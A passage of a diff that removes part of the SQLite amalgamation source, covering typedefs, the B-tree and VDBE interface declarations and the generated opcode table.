struct AggInfo AggInfo; -typedef struct AuthContext AuthContext; -typedef struct AutoincInfo AutoincInfo; -typedef struct Bitvec Bitvec; -typedef struct CollSeq CollSeq; -typedef struct Column Column; -typedef struct Db Db; -typedef struct Schema Schema; -typedef struct Expr Expr; -typedef struct ExprList ExprList; -typedef struct ExprSpan ExprSpan; -typedef struct FKey FKey; -typedef struct FuncDestructor FuncDestructor; -typedef struct FuncDef FuncDef; -typedef struct FuncDefHash FuncDefHash; -typedef struct IdList IdList; -typedef struct Index Index; -typedef struct IndexSample IndexSample; -typedef struct KeyClass KeyClass; -typedef struct KeyInfo KeyInfo; -typedef struct Lookaside Lookaside; -typedef struct LookasideSlot LookasideSlot; -typedef struct Module Module; -typedef struct NameContext NameContext; -typedef struct Parse Parse; -typedef struct RowSet RowSet; -typedef struct Savepoint Savepoint; -typedef struct Select Select; -typedef struct SelectDest SelectDest; -typedef struct SrcList SrcList; -typedef struct StrAccum StrAccum; -typedef struct Table Table; -typedef struct TableLock TableLock; -typedef struct Token Token; -typedef struct Trigger Trigger; -typedef struct TriggerPrg TriggerPrg; -typedef struct TriggerStep TriggerStep; -typedef struct UnpackedRecord UnpackedRecord; -typedef struct VTable VTable; -typedef struct VtabCtx VtabCtx; -typedef struct Walker Walker; -typedef struct WherePlan WherePlan; -typedef struct WhereInfo WhereInfo; -typedef struct WhereLevel WhereLevel; - -/* -** Defer sourcing vdbe.h and btree.h until after the "u8" and -** "BusyHandler" typedefs. vdbe.h also requires a few of the opaque -** pointer types (i.e. FuncDef) defined above. -*/ -/************** Include btree.h in the middle of sqliteInt.h *****************/ -/************** Begin file btree.h *******************************************/ -/* -** 2001 September 15 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** This header file defines the interface that the sqlite B-Tree file -** subsystem. See comments in the source code for a detailed description -** of what each interface routine does. -*/ -#ifndef _BTREE_H_ -#define _BTREE_H_ - -/* TODO: This definition is just included so other modules compile. It -** needs to be revisited. -*/ -#define SQLITE_N_BTREE_META 10 - -/* -** If defined as non-zero, auto-vacuum is enabled by default. Otherwise -** it must be turned on for each database using "PRAGMA auto_vacuum = 1". -*/ -#ifndef SQLITE_DEFAULT_AUTOVACUUM - #define SQLITE_DEFAULT_AUTOVACUUM 0 -#endif - -#define BTREE_AUTOVACUUM_NONE 0 /* Do not do auto-vacuum */ -#define BTREE_AUTOVACUUM_FULL 1 /* Do full auto-vacuum */ -#define BTREE_AUTOVACUUM_INCR 2 /* Incremental vacuum */ - -/* -** Forward declarations of structure -*/ -typedef struct Btree Btree; -typedef struct BtCursor BtCursor; -typedef struct BtShared BtShared; - - -SQLITE_PRIVATE int sqlite3BtreeOpen( - sqlite3_vfs *pVfs, /* VFS to use with this b-tree */ - const char *zFilename, /* Name of database file to open */ - sqlite3 *db, /* Associated database connection */ - Btree **ppBtree, /* Return open Btree* here */ - int flags, /* Flags */ - int vfsFlags /* Flags passed through to VFS open */ -); - -/* The flags parameter to sqlite3BtreeOpen can be the bitwise or of the -** following values. -** -** NOTE: These values must match the corresponding PAGER_ values in -** pager.h. -*/ -#define BTREE_OMIT_JOURNAL 1 /* Do not create or use a rollback journal */ -#define BTREE_MEMORY 2 /* This is an in-memory DB */ -#define BTREE_SINGLE 4 /* The file contains at most 1 b-tree */ -#define BTREE_UNORDERED 8 /* Use of a hash implementation is OK */ - -SQLITE_PRIVATE int sqlite3BtreeClose(Btree*); -SQLITE_PRIVATE int sqlite3BtreeSetCacheSize(Btree*,int); -SQLITE_PRIVATE int sqlite3BtreeSetMmapLimit(Btree*,sqlite3_int64); -SQLITE_PRIVATE int sqlite3BtreeSetSafetyLevel(Btree*,int,int,int); -SQLITE_PRIVATE int sqlite3BtreeSyncDisabled(Btree*); -SQLITE_PRIVATE int sqlite3BtreeSetPageSize(Btree *p, int nPagesize, int nReserve, int eFix); -SQLITE_PRIVATE int sqlite3BtreeGetPageSize(Btree*); -SQLITE_PRIVATE int sqlite3BtreeMaxPageCount(Btree*,int); -SQLITE_PRIVATE u32 sqlite3BtreeLastPage(Btree*); -SQLITE_PRIVATE int sqlite3BtreeSecureDelete(Btree*,int); -SQLITE_PRIVATE int sqlite3BtreeGetReserve(Btree*); -#if defined(SQLITE_HAS_CODEC) || defined(SQLITE_DEBUG) -SQLITE_PRIVATE int sqlite3BtreeGetReserveNoMutex(Btree *p); -#endif -SQLITE_PRIVATE int sqlite3BtreeSetAutoVacuum(Btree *, int); -SQLITE_PRIVATE int sqlite3BtreeGetAutoVacuum(Btree *); -SQLITE_PRIVATE int sqlite3BtreeBeginTrans(Btree*,int); -SQLITE_PRIVATE int sqlite3BtreeCommitPhaseOne(Btree*, const char *zMaster); -SQLITE_PRIVATE int sqlite3BtreeCommitPhaseTwo(Btree*, int); -SQLITE_PRIVATE int sqlite3BtreeCommit(Btree*); -SQLITE_PRIVATE int sqlite3BtreeRollback(Btree*,int); -SQLITE_PRIVATE int sqlite3BtreeBeginStmt(Btree*,int); -SQLITE_PRIVATE int sqlite3BtreeCreateTable(Btree*, int*, int flags); -SQLITE_PRIVATE int sqlite3BtreeIsInTrans(Btree*); -SQLITE_PRIVATE int sqlite3BtreeIsInReadTrans(Btree*); -SQLITE_PRIVATE int sqlite3BtreeIsInBackup(Btree*); -SQLITE_PRIVATE void *sqlite3BtreeSchema(Btree *, int, void(*)(void *)); -SQLITE_PRIVATE int sqlite3BtreeSchemaLocked(Btree *pBtree); -SQLITE_PRIVATE int sqlite3BtreeLockTable(Btree *pBtree, int iTab, u8 isWriteLock); -SQLITE_PRIVATE int sqlite3BtreeSavepoint(Btree *, int, int); - -SQLITE_PRIVATE const char *sqlite3BtreeGetFilename(Btree *); -SQLITE_PRIVATE const char *sqlite3BtreeGetJournalname(Btree *); -SQLITE_PRIVATE int sqlite3BtreeCopyFile(Btree *, Btree *); - -SQLITE_PRIVATE int sqlite3BtreeIncrVacuum(Btree *); - -/* The flags parameter to sqlite3BtreeCreateTable can be the bitwise OR -** of the flags shown below. -** -** Every SQLite table must have either BTREE_INTKEY or BTREE_BLOBKEY set. -** With BTREE_INTKEY, the table key is a 64-bit integer and arbitrary data -** is stored in the leaves. (BTREE_INTKEY is used for SQL tables.) With -** BTREE_BLOBKEY, the key is an arbitrary BLOB and no content is stored -** anywhere - the key is the content. (BTREE_BLOBKEY is used for SQL -** indices.) -*/ -#define BTREE_INTKEY 1 /* Table has only 64-bit signed integer keys */ -#define BTREE_BLOBKEY 2 /* Table has keys only - no data */ - -SQLITE_PRIVATE int sqlite3BtreeDropTable(Btree*, int, int*); -SQLITE_PRIVATE int sqlite3BtreeClearTable(Btree*, int, int*); -SQLITE_PRIVATE void sqlite3BtreeTripAllCursors(Btree*, int); - -SQLITE_PRIVATE void sqlite3BtreeGetMeta(Btree *pBtree, int idx, u32 *pValue); -SQLITE_PRIVATE int sqlite3BtreeUpdateMeta(Btree*, int idx, u32 value); - -SQLITE_PRIVATE int sqlite3BtreeNewDb(Btree *p); - -/* -** The second parameter to sqlite3BtreeGetMeta or sqlite3BtreeUpdateMeta -** should be one of the following values. The integer values are assigned -** to constants so that the offset of the corresponding field in an -** SQLite database header may be found using the following formula: -** -** offset = 36 + (idx * 4) -** -** For example, the free-page-count field is located at byte offset 36 of -** the database file header. The incr-vacuum-flag field is located at -** byte offset 64 (== 36+4*7). -*/ -#define BTREE_FREE_PAGE_COUNT 0 -#define BTREE_SCHEMA_VERSION 1 -#define BTREE_FILE_FORMAT 2 -#define BTREE_DEFAULT_CACHE_SIZE 3 -#define BTREE_LARGEST_ROOT_PAGE 4 -#define BTREE_TEXT_ENCODING 5 -#define BTREE_USER_VERSION 6 -#define BTREE_INCR_VACUUM 7 -#define BTREE_APPLICATION_ID 8 - -/* -** Values that may be OR'd together to form the second argument of an -** sqlite3BtreeCursorHints() call. -*/ -#define BTREE_BULKLOAD 0x00000001 - -SQLITE_PRIVATE int sqlite3BtreeCursor( - Btree*, /* BTree containing table to open */ - int iTable, /* Index of root page */ - int wrFlag, /* 1 for writing. 0 for read-only */ - struct KeyInfo*, /* First argument to compare function */ - BtCursor *pCursor /* Space to write cursor structure */ -); -SQLITE_PRIVATE int sqlite3BtreeCursorSize(void); -SQLITE_PRIVATE void sqlite3BtreeCursorZero(BtCursor*); - -SQLITE_PRIVATE int sqlite3BtreeCloseCursor(BtCursor*); -SQLITE_PRIVATE int sqlite3BtreeMovetoUnpacked( - BtCursor*, - UnpackedRecord *pUnKey, - i64 intKey, - int bias, - int *pRes -); -SQLITE_PRIVATE int sqlite3BtreeCursorHasMoved(BtCursor*, int*); -SQLITE_PRIVATE int sqlite3BtreeDelete(BtCursor*); -SQLITE_PRIVATE int sqlite3BtreeInsert(BtCursor*, const void *pKey, i64 nKey, - const void *pData, int nData, - int nZero, int bias, int seekResult); -SQLITE_PRIVATE int sqlite3BtreeFirst(BtCursor*, int *pRes); -SQLITE_PRIVATE int sqlite3BtreeLast(BtCursor*, int *pRes); -SQLITE_PRIVATE int sqlite3BtreeNext(BtCursor*, int *pRes); -SQLITE_PRIVATE int sqlite3BtreeEof(BtCursor*); -SQLITE_PRIVATE int sqlite3BtreePrevious(BtCursor*, int *pRes); -SQLITE_PRIVATE int sqlite3BtreeKeySize(BtCursor*, i64 *pSize); -SQLITE_PRIVATE int sqlite3BtreeKey(BtCursor*, u32 offset, u32 amt, void*); -SQLITE_PRIVATE const void *sqlite3BtreeKeyFetch(BtCursor*, int *pAmt); -SQLITE_PRIVATE const void *sqlite3BtreeDataFetch(BtCursor*, int *pAmt); -SQLITE_PRIVATE int sqlite3BtreeDataSize(BtCursor*, u32 *pSize); -SQLITE_PRIVATE int sqlite3BtreeData(BtCursor*, u32 offset, u32 amt, void*); -SQLITE_PRIVATE void sqlite3BtreeSetCachedRowid(BtCursor*, sqlite3_int64); -SQLITE_PRIVATE sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor*); - -SQLITE_PRIVATE char *sqlite3BtreeIntegrityCheck(Btree*, int *aRoot, int nRoot, int, int*); -SQLITE_PRIVATE struct Pager *sqlite3BtreePager(Btree*); - -SQLITE_PRIVATE int sqlite3BtreePutData(BtCursor*, u32 offset, u32 amt, void*); -SQLITE_PRIVATE void sqlite3BtreeCacheOverflow(BtCursor *); -SQLITE_PRIVATE void sqlite3BtreeClearCursor(BtCursor *); -SQLITE_PRIVATE int sqlite3BtreeSetVersion(Btree *pBt, int iVersion); -SQLITE_PRIVATE void sqlite3BtreeCursorHints(BtCursor *, unsigned int mask); - -#ifndef NDEBUG -SQLITE_PRIVATE int sqlite3BtreeCursorIsValid(BtCursor*); -#endif - -#ifndef SQLITE_OMIT_BTREECOUNT -SQLITE_PRIVATE int sqlite3BtreeCount(BtCursor *, i64 *); -#endif - -#ifdef SQLITE_TEST -SQLITE_PRIVATE int sqlite3BtreeCursorInfo(BtCursor*, int*, int); -SQLITE_PRIVATE void sqlite3BtreeCursorList(Btree*); -#endif - -#ifndef SQLITE_OMIT_WAL -SQLITE_PRIVATE int sqlite3BtreeCheckpoint(Btree*, int, int *, int *); -#endif - -/* -** If we are not using shared cache, then there is no need to -** use mutexes to access the BtShared structures. So make the -** Enter and Leave procedures no-ops. -*/ -#ifndef SQLITE_OMIT_SHARED_CACHE -SQLITE_PRIVATE void sqlite3BtreeEnter(Btree*); -SQLITE_PRIVATE void sqlite3BtreeEnterAll(sqlite3*); -#else -# define sqlite3BtreeEnter(X) -# define sqlite3BtreeEnterAll(X) -#endif - -#if !defined(SQLITE_OMIT_SHARED_CACHE) && SQLITE_THREADSAFE -SQLITE_PRIVATE int sqlite3BtreeSharable(Btree*); -SQLITE_PRIVATE void sqlite3BtreeLeave(Btree*); -SQLITE_PRIVATE void sqlite3BtreeEnterCursor(BtCursor*); -SQLITE_PRIVATE void sqlite3BtreeLeaveCursor(BtCursor*); -SQLITE_PRIVATE void sqlite3BtreeLeaveAll(sqlite3*); -#ifndef NDEBUG - /* These routines are used inside assert() statements only. */ -SQLITE_PRIVATE int sqlite3BtreeHoldsMutex(Btree*); -SQLITE_PRIVATE int sqlite3BtreeHoldsAllMutexes(sqlite3*); -SQLITE_PRIVATE int sqlite3SchemaMutexHeld(sqlite3*,int,Schema*); -#endif -#else - -# define sqlite3BtreeSharable(X) 0 -# define sqlite3BtreeLeave(X) -# define sqlite3BtreeEnterCursor(X) -# define sqlite3BtreeLeaveCursor(X) -# define sqlite3BtreeLeaveAll(X) - -# define sqlite3BtreeHoldsMutex(X) 1 -# define sqlite3BtreeHoldsAllMutexes(X) 1 -# define sqlite3SchemaMutexHeld(X,Y,Z) 1 -#endif - - -#endif /* _BTREE_H_ */ - -/************** End of btree.h ***********************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -/************** Include vdbe.h in the middle of sqliteInt.h ******************/ -/************** Begin file vdbe.h ********************************************/ -/* -** 2001 September 15 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** Header file for the Virtual DataBase Engine (VDBE) -** -** This header defines the interface to the virtual database engine -** or VDBE. The VDBE implements an abstract machine that runs a -** simple program to access and modify the underlying database. -*/ -#ifndef _SQLITE_VDBE_H_ -#define _SQLITE_VDBE_H_ -/* #include */ - -/* -** A single VDBE is an opaque structure named "Vdbe". Only routines -** in the source file sqliteVdbe.c are allowed to see the insides -** of this structure. -*/ -typedef struct Vdbe Vdbe; - -/* -** The names of the following types declared in vdbeInt.h are required -** for the VdbeOp definition. -*/ -typedef struct VdbeFunc VdbeFunc; -typedef struct Mem Mem; -typedef struct SubProgram SubProgram; - -/* -** A single instruction of the virtual machine has an opcode -** and as many as three operands. The instruction is recorded -** as an instance of the following structure: -*/ -struct VdbeOp { - u8 opcode; /* What operation to perform */ - signed char p4type; /* One of the P4_xxx constants for p4 */ - u8 opflags; /* Mask of the OPFLG_* flags in opcodes.h */ - u8 p5; /* Fifth parameter is an unsigned character */ - int p1; /* First operand */ - int p2; /* Second parameter (often the jump destination) */ - int p3; /* The third parameter */ - union { /* fourth parameter */ - int i; /* Integer value if p4type==P4_INT32 */ - void *p; /* Generic pointer */ - char *z; /* Pointer to data for string (char array) types */ - i64 *pI64; /* Used when p4type is P4_INT64 */ - double *pReal; /* Used when p4type is P4_REAL */ - FuncDef *pFunc; /* Used when p4type is P4_FUNCDEF */ - VdbeFunc *pVdbeFunc; /* Used when p4type is P4_VDBEFUNC */ - CollSeq *pColl; /* Used when p4type is P4_COLLSEQ */ - Mem *pMem; /* Used when p4type is P4_MEM */ - VTable *pVtab; /* Used when p4type is P4_VTAB */ - KeyInfo *pKeyInfo; /* Used when p4type is P4_KEYINFO */ - int *ai; /* Used when p4type is P4_INTARRAY */ - SubProgram *pProgram; /* Used when p4type is P4_SUBPROGRAM */ - int (*xAdvance)(BtCursor *, int *); - } p4; -#ifdef SQLITE_DEBUG - char *zComment; /* Comment to improve readability */ -#endif -#ifdef VDBE_PROFILE - int cnt; /* Number of times this instruction was executed */ - u64 cycles; /* Total time spent executing this instruction */ -#endif -}; -typedef struct VdbeOp VdbeOp; - - -/* -** A sub-routine used to implement a trigger program. -*/ -struct SubProgram { - VdbeOp *aOp; /* Array of opcodes for sub-program */ - int nOp; /* Elements in aOp[] */ - int nMem; /* Number of memory cells required */ - int nCsr; /* Number of cursors required */ - int nOnce; /* Number of OP_Once instructions */ - void *token; /* id that may be used to recursive triggers */ - SubProgram *pNext; /* Next sub-program already visited */ -}; - -/* -** A smaller version of VdbeOp used for the VdbeAddOpList() function because -** it takes up less space. -*/ -struct VdbeOpList { - u8 opcode; /* What operation to perform */ - signed char p1; /* First operand */ - signed char p2; /* Second parameter (often the jump destination) */ - signed char p3; /* Third parameter */ -}; -typedef struct VdbeOpList VdbeOpList; - -/* -** Allowed values of VdbeOp.p4type -*/ -#define P4_NOTUSED 0 /* The P4 parameter is not used */ -#define P4_DYNAMIC (-1) /* Pointer to a string obtained from sqliteMalloc() */ -#define P4_STATIC (-2) /* Pointer to a static string */ -#define P4_COLLSEQ (-4) /* P4 is a pointer to a CollSeq structure */ -#define P4_FUNCDEF (-5) /* P4 is a pointer to a FuncDef structure */ -#define P4_KEYINFO (-6) /* P4 is a pointer to a KeyInfo structure */ -#define P4_VDBEFUNC (-7) /* P4 is a pointer to a VdbeFunc structure */ -#define P4_MEM (-8) /* P4 is a pointer to a Mem* structure */ -#define P4_TRANSIENT 0 /* P4 is a pointer to a transient string */ -#define P4_VTAB (-10) /* P4 is a pointer to an sqlite3_vtab structure */ -#define P4_MPRINTF (-11) /* P4 is a string obtained from sqlite3_mprintf() */ -#define P4_REAL (-12) /* P4 is a 64-bit floating point value */ -#define P4_INT64 (-13) /* P4 is a 64-bit signed integer */ -#define P4_INT32 (-14) /* P4 is a 32-bit signed integer */ -#define P4_INTARRAY (-15) /* P4 is a vector of 32-bit integers */ -#define P4_SUBPROGRAM (-18) /* P4 is a pointer to a SubProgram structure */ -#define P4_ADVANCE (-19) /* P4 is a pointer to BtreeNext() or BtreePrev() */ - -/* When adding a P4 argument using P4_KEYINFO, a copy of the KeyInfo structure -** is made. That copy is freed when the Vdbe is finalized. But if the -** argument is P4_KEYINFO_HANDOFF, the passed in pointer is used. It still -** gets freed when the Vdbe is finalized so it still should be obtained -** from a single sqliteMalloc(). But no copy is made and the calling -** function should *not* try to free the KeyInfo. -*/ -#define P4_KEYINFO_HANDOFF (-16) -#define P4_KEYINFO_STATIC (-17) - -/* -** The Vdbe.aColName array contains 5n Mem structures, where n is the -** number of columns of data returned by the statement. -*/ -#define COLNAME_NAME 0 -#define COLNAME_DECLTYPE 1 -#define COLNAME_DATABASE 2 -#define COLNAME_TABLE 3 -#define COLNAME_COLUMN 4 -#ifdef SQLITE_ENABLE_COLUMN_METADATA -# define COLNAME_N 5 /* Number of COLNAME_xxx symbols */ -#else -# ifdef SQLITE_OMIT_DECLTYPE -# define COLNAME_N 1 /* Store only the name */ -# else -# define COLNAME_N 2 /* Store the name and decltype */ -# endif -#endif - -/* -** The following macro converts a relative address in the p2 field -** of a VdbeOp structure into a negative number so that -** sqlite3VdbeAddOpList() knows that the address is relative. Calling -** the macro again restores the address. -*/ -#define ADDR(X) (-1-(X)) - -/* -** The makefile scans the vdbe.c source file and creates the "opcodes.h" -** header file that defines a number for each opcode used by the VDBE. -*/ -/************** Include opcodes.h in the middle of vdbe.h ********************/ -/************** Begin file opcodes.h *****************************************/ -/* Automatically generated. Do not edit */ -/* See the mkopcodeh.awk script for details */ -#define OP_Goto 1 -#define OP_Gosub 2 -#define OP_Return 3 -#define OP_Yield 4 -#define OP_HaltIfNull 5 -#define OP_Halt 6 -#define OP_Integer 7 -#define OP_Int64 8 -#define OP_Real 130 /* same as TK_FLOAT */ -#define OP_String8 94 /* same as TK_STRING */ -#define OP_String 9 -#define OP_Null 10 -#define OP_Blob 11 -#define OP_Variable 12 -#define OP_Move 13 -#define OP_Copy 14 -#define OP_SCopy 15 -#define OP_ResultRow 16 -#define OP_Concat 91 /* same as TK_CONCAT */ -#define OP_Add 86 /* same as TK_PLUS */ -#define OP_Subtract 87 /* same as TK_MINUS */ -#define OP_Multiply 88 /* same as TK_STAR */ -#define OP_Divide 89 /* same as TK_SLASH */ -#define OP_Remainder 90 /* same as TK_REM */ -#define OP_CollSeq 17 -#define OP_Function 18 -#define OP_BitAnd 82 /* same as TK_BITAND */ -#define OP_BitOr 83 /* same as TK_BITOR */ -#define OP_ShiftLeft 84 /* same as TK_LSHIFT */ -#define OP_ShiftRight 85 /* same as TK_RSHIFT */ -#define OP_AddImm 20 -#define OP_MustBeInt 21 -#define OP_RealAffinity 22 -#define OP_ToText 141 /* same as TK_TO_TEXT */ -#define OP_ToBlob 142 /* same as TK_TO_BLOB */ -#define OP_ToNumeric 143 /* same as TK_TO_NUMERIC*/ -#define OP_ToInt 144 /* same as TK_TO_INT */ -#define OP_ToReal 145 /* same as TK_TO_REAL */ -#define OP_Eq 76 /* same as TK_EQ */ -#define OP_Ne 75 /* same as TK_NE */ -#define OP_Lt 79 /* same as TK_LT */ -#define OP_Le 78 /* same as TK_LE */ -#define OP_Gt 77 /* same as TK_GT */ -#define OP_Ge 80 /* same as TK_GE */ -#define OP_Permutation 23 -#define OP_Compare 24 -#define OP_Jump 25 -#define OP_And 69 /* same as TK_AND */ -#define OP_Or 68 /* same as TK_OR */ -#define OP_Not 19 /* same as TK_NOT */ -#define OP_BitNot 93 /* same as TK_BITNOT */ -#define OP_Once 26 -#define OP_If 27 -#define OP_IfNot 28 -#define OP_IsNull 73 /* same as TK_ISNULL */ -#define OP_NotNull 74 /* same as TK_NOTNULL */ -#define OP_Column 29 -#define OP_Affinity 30 -#define OP_MakeRecord 31 -#define OP_Count 32 -#define OP_Savepoint 33 -#define OP_AutoCommit 34 -#define OP_Transaction 35 -#define OP_ReadCookie 36 -#define OP_SetCookie 37 -#define OP_VerifyCookie 38 -#define OP_OpenRead 39 -#define OP_OpenWrite 40 -#define OP_OpenAutoindex 41 -#define OP_OpenEphemeral 42 -#define OP_SorterOpen 43 -#define OP_OpenPseudo 44 -#define OP_Close 45 -#define OP_SeekLt 46 -#define OP_SeekLe 47 -#define OP_SeekGe 48 -#define OP_SeekGt 49 -#define OP_Seek 50 -#define OP_NotFound 51 -#define OP_Found 52 -#define OP_IsUnique 53 -#define OP_NotExists 54 -#define OP_Sequence 55 -#define OP_NewRowid 56 -#define OP_Insert 57 -#define OP_InsertInt 58 -#define OP_Delete 59 -#define OP_ResetCount 60 -#define OP_SorterCompare 61 -#define OP_SorterData 62 -#define OP_RowKey 63 -#define OP_RowData 64 -#define OP_Rowid 65 -#define OP_NullRow 66 -#define OP_Last 67 -#define OP_SorterSort 70 -#define OP_Sort 71 -#define OP_Rewind 72 -#define OP_SorterNext 81 -#define OP_Prev 92 -#define OP_Next 95 -#define OP_SorterInsert 96 -#define OP_IdxInsert 97 -#define OP_IdxDelete 98 -#define OP_IdxRowid 99 -#define OP_IdxLT 100 -#define OP_IdxGE 101 -#define OP_Destroy 102 -#define OP_Clear 103 -#define OP_CreateIndex 104 -#define OP_CreateTable 105 -#define OP_ParseSchema 106 -#define OP_LoadAnalysis 107 -#define OP_DropTable 108 -#define OP_DropIndex 109 -#define OP_DropTrigger 110 -#define OP_IntegrityCk 111 -#define OP_RowSetAdd 112 -#define OP_RowSetRead 113 -#define OP_RowSetTest 114 -#define OP_Program 115 -#define OP_Param 116 -#define OP_FkCounter 117 -#define OP_FkIfZero 118 -#define OP_MemMax 119 -#define OP_IfPos 120 -#define OP_IfNeg 121 -#define OP_IfZero 122 -#define OP_AggStep 123 -#define OP_AggFinal 124 -#define OP_Checkpoint 125 -#define OP_JournalMode 126 -#define OP_Vacuum 127 -#define OP_IncrVacuum 128 -#define OP_Expire 129 -#define OP_TableLock 131 -#define OP_VBegin 132 -#define OP_VCreate 133 -#define OP_VDestroy 134 -#define OP_VOpen 135 -#define OP_VFilter 136 -#define OP_VColumn 137 -#define OP_VNext 138 -#define OP_VRename 139 -#define OP_VUpdate 140 -#define OP_Pagecount 146 -#define OP_MaxPgcnt 147 -#define OP_Trace 148 -#define OP_Noop 149 -#define OP_Explain 150 - - -/* Properties such as "out2" or "jump" that are specified in -** comments following the "case" for each opcode in the vdbe.c -** are encoded into bitvectors as follows: -*/ -#define OPFLG_JUMP 0x0001 /* jump: P2 holds jmp target */ -#define OPFLG_OUT2_PRERELEASE 0x0002 /* out2-prerelease: */ -#define OPFLG_IN1 0x0004 /* in1: P1 is an input */ -#define OPFLG_IN2 0x0008 /* in2: P2 is an input */ -#define OPFLG_IN3 0x0010 /* in3: P3 is an input */ -#define OPFLG_OUT2 0x0020 /* out2: P2 is an output */ -#define OPFLG_OUT3 0x0040 /* out3: P3 is an output */ -#define OPFLG_INITIALIZER {\ -/* 0 */ 0x00, 0x01, 0x01, 0x04, 0x04, 0x10, 0x00, 0x02,\ -/* 8 */ 0x02, 0x02, 0x02, 0x02, 0x02, 0x00, 0x00, 0x24,\ -/* 16 */ 0x00, 0x00, 0x00, 0x24, 0x04, 0x05, 0x04, 0x00,\ -/* 24 */ 0x00, 0x01, 0x01, 0x05, 0x05, 0x00, 0x00, 0x00,\ -/* 32 */ 0x02, 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00,\ -/* 40 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x11,\ -/* 48 */ 0x11, 0x11, 0x08, 0x11, 0x11, 0x11, 0x11, 0x02,\ -/* 56 */ 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ -/* 64 */ 0x00, 0x02, 0x00, 0x01, 0x4c, 0x4c, 0x01, 0x01,\ -/* 72 */ 0x01, 0x05, 0x05, 0x15, 0x15, 0x15, 0x15, 0x15,\ -/* 80 */ 0x15, 0x01, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c,\ -/* 88 */ 0x4c, 0x4c, 0x4c, 0x4c, 0x01, 0x24, 0x02, 0x01,\ -/* 96 */ 0x08, 0x08, 0x00, 0x02, 0x01, 0x01, 0x02, 0x00,\ -/* 104 */ 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ -/* 112 */ 0x0c, 0x45, 0x15, 0x01, 0x02, 0x00, 0x01, 0x08,\ -/* 120 */ 0x05, 0x05, 0x05, 0x00, 0x00, 0x00, 0x02, 0x00,\ -/* 128 */ 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,\ -/* 136 */ 0x01, 0x00, 0x01, 0x00, 0x00, 0x04, 0x04, 0x04,\ -/* 144 */ 0x04, 0x04, 0x02, 0x02, 0x00, 0x00, 0x00,} - -/************** End of opcodes.h *********************************************/ -/************** Continuing where we left off in vdbe.h ***********************/ - -/* -** Prototypes for the VDBE interface. See comments on the implementation -** for a description of what each of these routines does. -*/ -SQLITE_PRIVATE Vdbe *sqlite3VdbeCreate(sqlite3*); -SQLITE_PRIVATE int sqlite3VdbeAddOp0(Vdbe*,int); -SQLITE_PRIVATE int sqlite3VdbeAddOp1(Vdbe*,int,int); -SQLITE_PRIVATE int sqlite3VdbeAddOp2(Vdbe*,int,int,int); -SQLITE_PRIVATE int sqlite3VdbeAddOp3(Vdbe*,int,int,int,int); -SQLITE_PRIVATE int sqlite3VdbeAddOp4(Vdbe*,int,int,int,int,const char *zP4,int); -SQLITE_PRIVATE int sqlite3VdbeAddOp4Int(Vdbe*,int,int,int,int,int); -SQLITE_PRIVATE int sqlite3VdbeAddOpList(Vdbe*, int nOp, VdbeOpList const *aOp); -SQLITE_PRIVATE void sqlite3VdbeAddParseSchemaOp(Vdbe*,int,char*); -SQLITE_PRIVATE void sqlite3VdbeChangeP1(Vdbe*, u32 addr, int P1); -SQLITE_PRIVATE void sqlite3VdbeChangeP2(Vdbe*, u32 addr, int P2); -SQLITE_PRIVATE void sqlite3VdbeChangeP3(Vdbe*, u32 addr, int P3); -SQLITE_PRIVATE void sqlite3VdbeChangeP5(Vdbe*, u8 P5); -SQLITE_PRIVATE void sqlite3VdbeJumpHere(Vdbe*, int addr); -SQLITE_PRIVATE void sqlite3VdbeChangeToNoop(Vdbe*, int addr); -SQLITE_PRIVATE void sqlite3VdbeChangeP4(Vdbe*, int addr, const char *zP4, int N); -SQLITE_PRIVATE void sqlite3VdbeUsesBtree(Vdbe*, int); -SQLITE_PRIVATE VdbeOp *sqlite3VdbeGetOp(Vdbe*, int); -SQLITE_PRIVATE int sqlite3VdbeMakeLabel(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeRunOnlyOnce(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeDelete(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeClearObject(sqlite3*,Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeMakeReady(Vdbe*,Parse*); -SQLITE_PRIVATE int sqlite3VdbeFinalize(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeResolveLabel(Vdbe*, int); -SQLITE_PRIVATE int sqlite3VdbeCurrentAddr(Vdbe*); -#ifdef SQLITE_DEBUG -SQLITE_PRIVATE int sqlite3VdbeAssertMayAbort(Vdbe *, int); -SQLITE_PRIVATE void sqlite3VdbeTrace(Vdbe*,FILE*); -#endif -SQLITE_PRIVATE void sqlite3VdbeResetStepResult(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeRewind(Vdbe*); -SQLITE_PRIVATE int sqlite3VdbeReset(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeSetNumCols(Vdbe*,int); -SQLITE_PRIVATE int sqlite3VdbeSetColName(Vdbe*, int, int, const char *, void(*)(void*)); -SQLITE_PRIVATE void sqlite3VdbeCountChanges(Vdbe*); -SQLITE_PRIVATE sqlite3 *sqlite3VdbeDb(Vdbe*); -SQLITE_PRIVATE void sqlite3VdbeSetSql(Vdbe*, const char *z, int n, int); -SQLITE_PRIVATE void sqlite3VdbeSwap(Vdbe*,Vdbe*); -SQLITE_PRIVATE VdbeOp *sqlite3VdbeTakeOpArray(Vdbe*, int*, int*); -SQLITE_PRIVATE sqlite3_value *sqlite3VdbeGetValue(Vdbe*, int, u8); -SQLITE_PRIVATE void sqlite3VdbeSetVarmask(Vdbe*, int); -#ifndef SQLITE_OMIT_TRACE -SQLITE_PRIVATE char *sqlite3VdbeExpandSql(Vdbe*, const char*); -#endif - -SQLITE_PRIVATE void sqlite3VdbeRecordUnpack(KeyInfo*,int,const void*,UnpackedRecord*); -SQLITE_PRIVATE int 